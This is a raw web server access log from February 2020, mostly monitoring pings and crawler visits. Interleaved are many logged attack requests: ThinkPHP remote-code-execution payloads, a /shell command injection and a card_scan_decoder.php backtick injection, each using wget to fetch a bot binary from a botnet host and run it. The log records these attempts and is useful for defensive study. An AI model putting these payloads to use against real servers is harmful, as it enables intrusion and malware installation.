88.233.86.233 - - [06/Feb/2020:20:18:42 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:20:19:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:20:20:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.22.67.92 - - [06/Feb/2020:20:21:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
110.138.150.126 - - [06/Feb/2020:20:21:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [06/Feb/2020:20:21:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
83.97.20.33 - - [06/Feb/2020:20:21:37 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [06/Feb/2020:20:22:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.198.66.70 - - [06/Feb/2020:20:23:23 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:20:23:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:20:24:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:20:25:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:20:26:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:20:27:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:20:28:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:20:29:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
83.97.20.35 - - [06/Feb/2020:20:30:27 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [06/Feb/2020:20:30:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:20:31:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:20:32:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:20:33:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:20:34:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
41.230.82.66 - - [06/Feb/2020:20:34:41 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
169.197.108.6 - - [06/Feb/2020:20:35:19 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
212.91.246.72 - - [06/Feb/2020:20:35:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.69.130.110 - - [06/Feb/2020:20:35:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
118.69.145.160 - - [06/Feb/2020:20:36:26 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://scan.casualaffinity.net/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [06/Feb/2020:20:36:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
179.43.169.182 - - [06/Feb/2020:20:37:19 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; Linux i686; rv:10.0) Gecko/20100101 Firefox/10.0"
111.224.219.7 - - [06/Feb/2020:20:37:22 +0100] "GET http://boxun.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
119.39.46.255 - - [06/Feb/2020:20:37:22 +0100] "CONNECT cn.bing.com:443 HTTP/1.1" 405 341 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
124.90.50.110 - - [06/Feb/2020:20:37:23 +0100] "GET http://www.minghui.org/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
220.200.158.94 - - [06/Feb/2020:20:37:23 +0100] "CONNECT www.ipip.net:443 HTTP/1.1" 405 342 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
1.202.113.221 - - [06/Feb/2020:20:37:24 +0100] "CONNECT www.voanews.com:443 HTTP/1.1" 405 345 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
222.94.212.57 - - [06/Feb/2020:20:37:25 +0100] "CONNECT www.baidu.com:443 HTTP/1.1" 405 343 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
171.116.203.245 - - [06/Feb/2020:20:37:26 +0100] "GET http://www.epochtimes.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
222.82.58.151 - - [06/Feb/2020:20:37:28 +0100] "GET http://www.123cha.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
124.88.113.12 - - [06/Feb/2020:20:37:29 +0100] "GET http://www.rfa.org/english/ HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
212.91.246.72 - - [06/Feb/2020:20:37:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:20:38:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
73.33.112.155 - - [06/Feb/2020:20:39:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:20:39:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.68.4.150 - - [06/Feb/2020:20:40:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:20:40:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:20:41:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:20:42:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:20:43:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
220.77.199.108 - - [06/Feb/2020:20:43:58 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:20:44:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:20:45:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:20:46:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:20:47:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
58.186.19.147 - - [06/Feb/2020:20:47:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:20:48:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
83.97.20.35 - - [06/Feb/2020:20:49:18 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
88.44.33.166 - - [06/Feb/2020:20:49:25 +0100] "GET /card_scan_decoder.php?No=30&door=%60wget http://switchnets.net/hoho.arm7; chmod 777 hoho.arm7; ./hoho.arm7 linear%60 HTTP/1.1" 400 342 "-" "dark_NeXus_Qbot/4.0 (compatible; MSIE5.01; minerword NT)"
212.91.246.72 - - [06/Feb/2020:20:49:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
81.10.10.164 - - [06/Feb/2020:20:49:55 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
187.45.116.194 - - [06/Feb/2020:20:50:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [06/Feb/2020:20:50:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:20:51:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:20:52:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:20:53:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:20:54:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:20:55:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:20:56:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
83.97.20.34 - - [06/Feb/2020:20:56:37 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
103.88.27.34 - - [06/Feb/2020:20:56:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:20:57:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
83.97.20.33 - - [06/Feb/2020:20:57:42 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [06/Feb/2020:20:58:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:20:59:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:21:00:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
177.190.176.8 - - [06/Feb/2020:21:01:00 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
42.117.20.67 - - [06/Feb/2020:21:01:22 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:21:01:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:21:02:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.219.23.166 - - [06/Feb/2020:21:02:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
123.20.28.233 - - [06/Feb/2020:21:02:58 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
86.166.188.135 - - [06/Feb/2020:21:03:10 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [06/Feb/2020:21:03:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:21:04:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.118.121.248 - - [06/Feb/2020:21:05:24 +0100] "GET / HTTP/1.1" 200 1229 "https://pizdeishn.com/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; WOW64; SV1; .NET CLR 2.0.50727)"
46.118.121.248 - - [06/Feb/2020:21:05:24 +0100] "GET / HTTP/1.1" 200 1229 "https://pizdeishn.com/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; WOW64; SV1; .NET CLR 2.0.50727)"
46.118.121.248 - - [06/Feb/2020:21:05:25 +0100] "GET / HTTP/1.1" 200 1229 "https://pizdeishn.com/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; WOW64; SV1; .NET CLR 2.0.50727)"
212.91.246.72 - - [06/Feb/2020:21:05:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:21:06:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:21:07:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:21:08:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
203.176.73.123 - - [06/Feb/2020:21:09:21 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:21:09:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.23.53 - - [06/Feb/2020:21:09:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:21:10:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:21:11:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:21:12:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
31.193.91.39 - - [06/Feb/2020:21:13:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:21:13:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
79.111.179.156 - - [06/Feb/2020:21:14:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [06/Feb/2020:21:14:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
114.232.147.27 - - [06/Feb/2020:21:14:38 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:21:15:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.81.90.215 - - [06/Feb/2020:21:16:24 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:21:16:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:21:17:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:21:18:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
180.121.250.37 - - [06/Feb/2020:21:18:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:21:19:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
196.52.43.65 - - [06/Feb/2020:21:19:33 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3602.2 Safari/537.36"
212.91.246.72 - - [06/Feb/2020:21:20:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
189.45.119.49 - - [06/Feb/2020:21:20:55 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
212.91.246.72 - - [06/Feb/2020:21:21:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.91.75.106 - - [06/Feb/2020:21:21:35 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:21:22:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:21:23:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.190.107.14 - - [06/Feb/2020:21:24:04 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [06/Feb/2020:21:24:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:21:25:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
110.9.148.211 - - [06/Feb/2020:21:26:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:21:26:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.235.56.230 - - [06/Feb/2020:21:26:46 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [06/Feb/2020:21:27:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:21:28:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:21:29:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:21:30:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
101.255.82.122 - - [06/Feb/2020:21:30:55 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
61.74.234.74 - - [06/Feb/2020:21:31:25 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:21:31:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:21:32:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:21:33:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
223.97.206.71 - - [06/Feb/2020:21:33:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:21:34:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:21:35:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
157.55.39.13 - - [06/Feb/2020:21:36:07 +0100] "GET /robots.txt HTTP/1.1" 404 332 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
207.46.13.232 - - [06/Feb/2020:21:36:17 +0100] "GET / HTTP/1.1" 304 - "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
212.91.246.72 - - [06/Feb/2020:21:36:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
